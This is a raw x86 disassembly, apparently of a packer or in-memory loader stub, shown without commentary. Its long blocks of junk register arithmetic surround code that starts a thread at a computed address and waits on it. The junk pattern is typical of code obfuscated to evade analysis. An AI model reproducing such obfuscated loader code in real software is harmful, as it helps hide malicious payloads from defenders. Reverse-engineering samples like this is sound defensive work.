mov eax, dword [ebp - 0x4e71c]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x4e6c4]
mov eax, dword [ebp - 0x4e724]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0x4e724]
add eax, 0x24
mov dword [ebp - 0x4e728], eax
rol edi, 0xe6
rcr ebx, 0x73
imul edx
or edx, 0x2b
rcr eax, 0x4d
ror ebx, 0xe
ror eax, 6
sub eax, 0x94
bswap esi
rcl esi, 0xdd
dec edi
or esi, 0x77
and eax, 0xcd
mov ebx, 0xf1
mov esi, 0xca
imul edx
rol esi, 0x66
dec ebx
bswap ebx
neg esi
imul esi
not eax
bswap ebx
inc esi
not esi
ror ebx, 0x57
add esi, 0xd0
add esi, 0x97
imul ebx
dec edi
neg edx
imul edx
sbb ebx, 3
ror eax, 0x61
add esi, 0x2d
not edx
ror edi, 0x14
bswap ebx
sub esi, 0xae
not eax
add esi, 0x7b
dec edi
dec esi
inc edi
imul ebx
bswap esi
or eax, 0x17
add edi, 0x61
ror esi, 0x25
or eax, 0xa8
imul edx
rcr eax, 0xa3
sub edi, 0xec
rcr edi, 0xfc
and edx, 0xee
ror eax, 0xf9
sbb edi, 0xe8
rcl ebx, 0x3a
neg edx
or edx, 0xe4
dec eax
add esi, 0xdd
mov eax, 0x82
rol esi, 0x23
imul eax
inc esi
rcr ebx, 0x25
dec edx
neg esi
imul edi
mov edi, 0x27
and esi, 0x33
rcr eax, 0x4d
not ebx
rcl eax, 0xc1
add esi, 0x9d
rol edx, 0x4d
mov edi, 0xb9
ror esi, 0x6c
rol ebx, 0x32
dec edx
sbb edx, 7
inc edx
rol esi, 0xe8
bswap eax
ror eax, 0x81
neg ebx
bswap esi
rcl eax, 0x28
neg eax
add ebx, 0x1c
dec esi
dec eax
not ebx
dec eax
sub edx, 4
rcr edx, 0xed
neg edx
sub ebx, 0xfa
neg ebx
imul ebx
and edi, 0x6f
rcr edx, 0x2b
inc esi
inc edx
and edx, 0x37
not esi
mov eax, 0xd0
not edi
rol edi, 0x23
ror ebx, 0xd1
add ebx, 0xf3
imul ebx
dec edi
inc ebx
not ebx
rol esi, 0x77
bswap edx
rcl eax, 0x70
ror edi, 4
sub edi, 0x4c
bswap eax
imul ebx
ror edx, 0x39
neg eax
sub eax, 0xdc
add edx, 0x2c
add esi, 0x87
imul ebx
sub edx, 0x21
rcr edi, 0x3c
dec ebx
rol edi, 6
bswap edx
sbb esi, 0x7d
inc eax
rcr edi, 0xc5
bswap edx
dec eax
not edx
ror edi, 0x2b
imul edi
or esi, 0x27
sub ebx, 0xf5
sbb edx, 0xc1
rol esi, 0x80
rol esi, 0x56
and eax, 0x2f
imul ebx
or eax, 0x90
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x4e7a0]
lea eax, [0x461780]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x78
call fcn.00403940
mov eax, dword [ebp - 0x4e628]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x4e7a1], al
mov al, byte [ebp - 0x4e7a1]
mov dword [ebp - 0x10], 0xffffffff
test al, 1
je 0x4115fd
mov eax, dword [ebp - 0x4e728]
mov ecx, dword [eax]
mov dword [ebp - 0x4e7ac], ecx
mov eax, dword [eax + 4]
mov dword [ebp - 0x4e7a8], eax
mov eax, dword [ebp - 0x4e728]
lea ecx, [ebp - 0x4e7a0]
mov dword [eax + 4], ecx
lea eax, [ebp - 0x4e7a0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub esp, 4
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x4e728]
mov word [eax], cx
dec eax
mov eax, 0x41
not esi
or ebx, 0xd8
rcl edx, 0xdb
or ebx, 0x54
ror ebx, 0x74
imul edx
ror edx, 0xed
inc eax
not edx
imul edx
and ebx, 0xd1
rol edx, 0xf3
imul eax
imul esi
or edx, 0x99
imul esi
sub ebx, 0xa4
and esi, 0x52
imul edx
inc ebx
dec eax
rol ebx, 0x54
neg eax
imul esi
neg edi
bswap eax
inc ebx
neg edx
sbb esi, 0x8f
imul eax
inc esi
dec ebx
dec ebx
sbb edx, 0x38
neg eax
imul esi
rcl edx, 0xab
or esi, 0x5f
bswap esi
rcr eax, 0x2e
add eax, 0x53
rcr edi, 0x12
rol edi, 0x96
add ebx, 0xc9
neg edx
not eax
neg edi
inc edi
dec eax
mov esi, 0xcc
bswap esi
neg edi
or ebx, 0x66
rcr edi, 0x54
rol edi, 0xe0
or ebx, 0x15
neg edx
sub eax, 0x16
not esi
not edi
dec edx
neg edx
bswap esi
add edi, 0x3b
and ebx, 0xc3
imul eax
imul edi
or edi, 0xa0
neg eax
or esi, 0xe3
mov esi, 0x69
mov ebx, 0xeb
inc edx
rcr esi, 0xdb
imul eax
neg edx
or edi, 0xc
inc edi
neg edx
inc edx
sbb ebx, 0x9f
sbb edi, 0xd0
bswap ebx
rcr edi, 0xda
rcr ebx, 0x96
inc ebx
sub esi, 0x57
sbb edx, 0x66
and eax, 0x97
dec eax
not eax
neg edx
bswap ebx
rcl ebx, 0xb8
or esi, 0x6c
and edi, 0x36
rcl edi, 0xb1
neg esi
neg esi
rcl esi, 0xfa
dec eax
imul edx
bswap esi
dec edx
add edx, 0x95
bswap eax
dec eax
not edx
mov edx, 0xf9
bswap ebx
rol eax, 0x41
and edx, 0xc7
dec edx
not eax
rcr eax, 0xbc
dec edi
bswap eax
inc esi
sub ebx, 0xae
not edi
dec eax
bswap edx
not eax
rcr ebx, 0xc1
imul edi
and edi, 0x5e
neg esi
sbb ebx, 0x26
rol eax, 9
mov edx, 0xa0
sbb eax, 0x2a
rcl esi, 0x78
or esi, 0x9b
dec edi
sub ebx, 0x1c
rcr eax, 0x83
not ebx
sub eax, 0xc8
and edi, 0xd0
rcl edi, 0x83
not esi
dec esi
not ebx
rcl edi, 0xde
dec esi
imul ebx
neg ebx
ror eax, 0x2a
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x4e6c4]
mov ecx, dword [ebp - 0x4e628]
add eax, dword [ecx + 0x28]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [ebp - 0x4e7b0], eax
test byte [ebp - 0x4e7a1], 1
je 0x411815
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
mov eax, dword [ebp - 0x4e728]
mov ecx, dword [ebp - 0x4e7ac]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x4e7a8]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x4e7b0]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
ror esi, 0x29
rcl ebx, 0xb2
imul eax
mov ebx, 0x23
ror esi, 0xd4
dec ebx
neg edi
inc ebx
bswap esi
neg ebx
not edi
ror edx, 0x5d
dec edi
not esi
or ebx, 0x25
bswap ebx
or eax, 0xeb
add ebx, 0xa8
or eax, 0x50
inc ebx
sub edx, 0xcb
rol eax, 0x7e
imul edx
bswap eax
add edx, 0x9b
add eax, 0x93
dec eax
rcl eax, 0x69
rcr edx, 0xc6
neg edi
sbb edx, 0xf6
sub esi, 0x26
not edi
dec eax
bswap esi
rol esi, 0x98
bswap edx
bswap esi
inc edx
mov ebx, 0x27
rcr edi, 0x51
add ebx, 0xc5
imul esi
add edi, 0x9b
inc ebx
sbb edx, 2
bswap edi
not edi
inc eax
imul edx
ror esi, 0xcb
inc edx
sbb esi, 0x75
and eax, 0xe6
imul edx
rol edi, 0x4c
rcr edi, 0xaa
and ebx, 0x47
neg esi
rol esi, 0xfc
inc ebx
imul eax
dec eax
and eax, 0x76
sub esi, 0x75
neg ebx
dec eax
imul edi
not esi
imul eax
inc esi
sub eax, 0xf5
dec eax
mov eax, 0xe7
not ebx
or ebx, 0x33
rol esi, 0x51
neg esi
dec edi
imul eax
sbb ebx, 0xf1
and edx, 0x30
sub edx, 0xb6
bswap ebx
sub ebx, 0x93
or edi, 0x83
imul edx
not edx
bswap ebx
bswap edx
add eax, 0x35
dec edx
dec eax
inc ebx
bswap eax
inc edi
not esi
rcl edi, 0x44
mov ebx, 0x21
inc edi
rcr eax, 0x53
rol esi, 0xd
bswap eax
imul ebx
inc eax
bswap esi
rcl edx, 0x8e
rcl edx, 9
not edx
neg edi
rcr esi, 0x5b
imul esi
inc edx
add ebx, 5
rol edx, 0xf7
imul esi
dec esi
and ebx, 0xc9
ror edx, 0x6c
inc ebx
not eax
neg eax
dec eax
sub edx, 0x5c
inc eax
rcl edx, 0xc3
bswap esi
add edi, 0x9a
inc edx
imul eax
rol edx, 0xa5
not eax
and esi, 0x68
neg eax
or edx, 0x76
imul esi
imul ebx
neg ebx
ror edx, 0x6b
add esi, 0x24
or ebx, 0x43
add edx, 0x8f
neg esi
imul esi
dec esi
inc esi
dec esi
add edx, 0x3f
ror esi, 0xcf
bswap ebx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
mov dword fs:[0], ecx
add esp, 0x4e7d4
pop esi
pop edi
pop ebx
pop ebp
ret